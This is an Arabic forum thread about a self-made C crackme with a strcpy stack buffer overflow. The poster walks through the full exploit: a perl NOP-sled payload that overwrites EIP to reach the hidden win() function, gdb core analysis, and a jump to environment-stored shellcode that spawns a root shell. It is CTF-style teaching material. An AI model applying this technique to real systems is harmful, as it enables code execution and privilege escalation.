• 0
Qnix

Hack-Game-1

سؤال

قمت بكتابه هاذا المثال البسيط بلغه C وهو عباره عن لعبه قوم انت بادخال قيمه معينه ويقوم باخبارك

ان فزت ام لا .. طبعا اي قيمه راح تدخلها راح تخسر فلازم تشوف طريقه تفوز فيها بدون

التغيير في ال sourecode

ملف ال binary elf32-i386

ملف ال sourecode

التفكيك للملف, راح يفيدك كثير

تم تعديل بواسطه Qnix
0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه

10 إجابة على هذا السؤال .

  • 0

شو بتعني النجمة قبل العناوين؟

08048308  jmp    *0x804975c

وهي كمان

$0x1,0x8(%ebp)

شو المقصود من وضع القيمة x08 قبل اسم المسجل؟

لازم ابدا اتعلم اسمبلي على لينوكس :P

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه
  • 0

ال * تعني ان القيمه في العنوان الفلاني

والثانيه % للتمييز بين الريجستريات وهي سينتكس خاص ب AT&T

at&t syntax

اما ال 0x8 هي ال offset فقط هذه طريقه لكتابتها مثلا في intel syntax

تكتب بهاذا الشكل

[ebp+8]

واعتقد ان هذه الطريقه

$0x1,0x8(%ebp)

هي ل AT&T Syntax

تم تعديل بواسطه Qnix
0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه
  • 0

الظاهر موجود

Buffer Overflow

هل يمكن تمرير Parameters أكبر من 500 حرف في Linux ؟

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه
  • 0

اكيد يمكن تمرير اكثر من 500 حرف في Linux .. لكن راح يكتب على ال stack

example:
buffer[0x51,0x51,0x51,0x51,0x51.......]0x51,0x51,0x51,0x51...

تم تعديل بواسطه Qnix
0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه
  • 0

ليس لي في un*x

لكن يبدو الحل في تمرير أكثر من براميتر للبرنامج

بحيث يحتوي البراميتر الأول عدد حروف أكثر من 500 لكي يحدث Overflow

من الأحسب حساب الطول بالتدقيق لكن أظن أن 555 كافية

تحتوي Nop و تنتهي ب call موضع win

نظريا فقك

:D

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه
  • 0

صحيح كلامك ... راح اطبقه الان

[email protected]:~# ulimit -c unlimited; objdump -D hg |grep "win" | awk '{print $1}'
08048482

08048482 هو عنوان الداله win()

مثل ماقلت الخطء هو buffer overflow في الداله main عند نقل محتوى [1]argv

الى buffer عن طريق الداله strcpy()

فمثل ماقلت نمرر اكثر من 500 والبضبط 504 والباقي يكتب على SFP , RET

[email protected]:~# ./hg `perl -e 'print "\x90"x504 . "\x44\x33\x22\x11"'`
Hack-game v0.1 Coded by Qnix
Email   : Qnix[at]bsdmail[dot]org
Website : 0x11.org
- You should win this game .

You didnt win .
Segmentation fault (core dumped)

الان حدث خطء واخرج لنا ملف اسمه core يحتوىي على المعلومات ساقوم بفتح هاذا الملف بستعمال gnu debugger

[email protected]:~# gdb -c core -q
Using host libthread_db library "/lib/libthread_db.so.1".
(no debugging symbols found)
Core was generated by `./hg '.
Program terminated with signal 11, Segmentation fault.
#0  0x11223344 in ?? ()
(gdb) info reg
eax            0x0      0
ecx            0x4014a840       1075095616
edx            0x10     16
ebx            0x40149ff4       1075093492
esp            0xbffff740       0xbffff740
ebp            0x90909090       0x90909090
esi            0xbffff7a0       -1073743968
edi            0x2      2
eip            0x11223344       0x11223344
eflags         0x210246 2163270
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0xc010007b       -1072693125
fs             0x0      0
gs             0x0      0

كما ترون كتب على عنوان الرجوع %eip ب 11223344 التي قمنا بأدخالها بعد طبع 504 قيمه nop

الان نقوم بتغير العنوان 11223344 الى عنوان الداله win() لكي تقوم هذه الداله بطبع رساله الفوز .

[email protected]:~# ./hg `perl -e 'print "\x90"x504 . "\x82\x84\x04\x08"'`
Hack-game v0.1 Coded by Qnix
Email   : Qnix[at]bsdmail[dot]org
Website : 0x11.org
- You should win this game .

You didnt win .
You won . :D :D :D
Segmentation fault (core dumped)

لقد طبع رساله الفوز You won . :D :D :D !!

:) هاكذا قمنا بلفوز بلقوه الان تستطيع مثلا جعل البرنامج يقفز الى اي نقطه تحددها له مثلا لو كنت

تريد التحكم في النظام او اخذ /bin/bash واستخدامه تستطيع انظر الى هاذا المثال

قمت بكتابه shellcode يقوم باتشغيل /bin/bash وقمت بعمليه تجميعه وادخاله في ملف binary

الان سوف اقوم بادخال هاذا الملف الى ال environment

وبعدها اخرج عنوانه في ال environment واجعل البرنامج يقفز لهاذا العنوان .

الملف الموجود فيه الشيل كود اسمه XXXX واسم ال environment هو XXXX

[email protected]:~# export XXXX=`cat XXXX`
[email protected]:~# getenv XXXX
XXXX is located at 0xbffffcd1

كما ترون عنوان الشيل كود هو bffffc71

الان سوف اجعل البرنامج hg يقفز لعنوان win() وبعدها يقوم بتشغيل الشيل كود وبكذا نفوز بلقوه

ونحصل bash نتحكم عن طريقه في النظام .

[email protected]:~# ./hg `perl -e 'print "\x90"x504 . "\x82\x84\x04\x08" . "\xd1\xfc\xff\xbf"'`
Hack-game v0.1 Coded by Qnix
Email   : Qnix[at]bsdmail[dot]org
Website : 0x11.org
- You should win this game .

You didnt win .
You won . :D :D :D
sh-3.00# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)

هاذا الموضوع تعليمي وليس تحدي

تحياتي

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه
  • 0

جميل جدا أخي Qnix

سؤال خاج عن الموضوع

هل تستخدم Linux ؟ أن نعم أي توزيعة ؟

لأقوم بالتحميل و التجربة

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه
  • 0

نعم استعمل ليونكس ..

والتوزيعه هي من تركيبي قمت باستعمال نسخه لايف سيدي ومن هناك قمت

بترتيب الهاردسك والمساحه والفايل سيستيم وقمت بتركيب الكيرنل والملفات

والانفيرومنت والمكتابت وكثير من البرامج الجهازه جبتها بسرعه من سيدي

سلاكوير ووو...الخ

لو كنت تبحث عن نسخه جيده انصحك بستخدام slackware او gentoo .

( طبعا هاذا من رأيي <_< )

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه
  • 0

شكرا

وهذا رابط من مايكروشوفت

عن محاولة ردع ثغرات Buffer OverFlow مستقبلا

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه
  • 0

الحل ان الناس تبرمج صح وتكون متعلمه صح

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه
زوار
This topic is now closed to further replies.

  • يستعرض القسم حالياً   0 members

    لا يوجد أعضاء مسجلين يشاهدون هذه الصفحة .